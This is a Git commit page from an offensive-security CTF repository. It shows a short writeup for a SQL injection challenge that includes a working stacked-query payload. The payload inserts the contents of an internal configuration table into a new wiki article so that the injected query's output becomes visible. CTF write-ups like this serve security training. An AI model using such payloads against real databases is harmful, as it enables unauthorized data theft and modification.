emln/OffSec-CTF
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Second CTFs part

Browse Source
This commit is contained in:
emln
2026-05-10 20:42:33 +02:00
parent 5635246581
commit 9f240eba3b
87 changed files with 404506 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
web-sqli/02_department_wiki/writeup Normal file
View File

@@ -0,0 +1,6 @@
(From the source code) The server executes our query injection but shows the results of a safe query version.
Therefore I need another way to show the output, INSERT works to create new article, I create the article with the output of
the SELECT I made.
a'; INSERT INTO articles (department_id, title,slug,content,author)
VALUES(1,sqlite_version(),'SLUG6',(SELECT GROUP_CONCAT(value) FROM internal_config),'e') --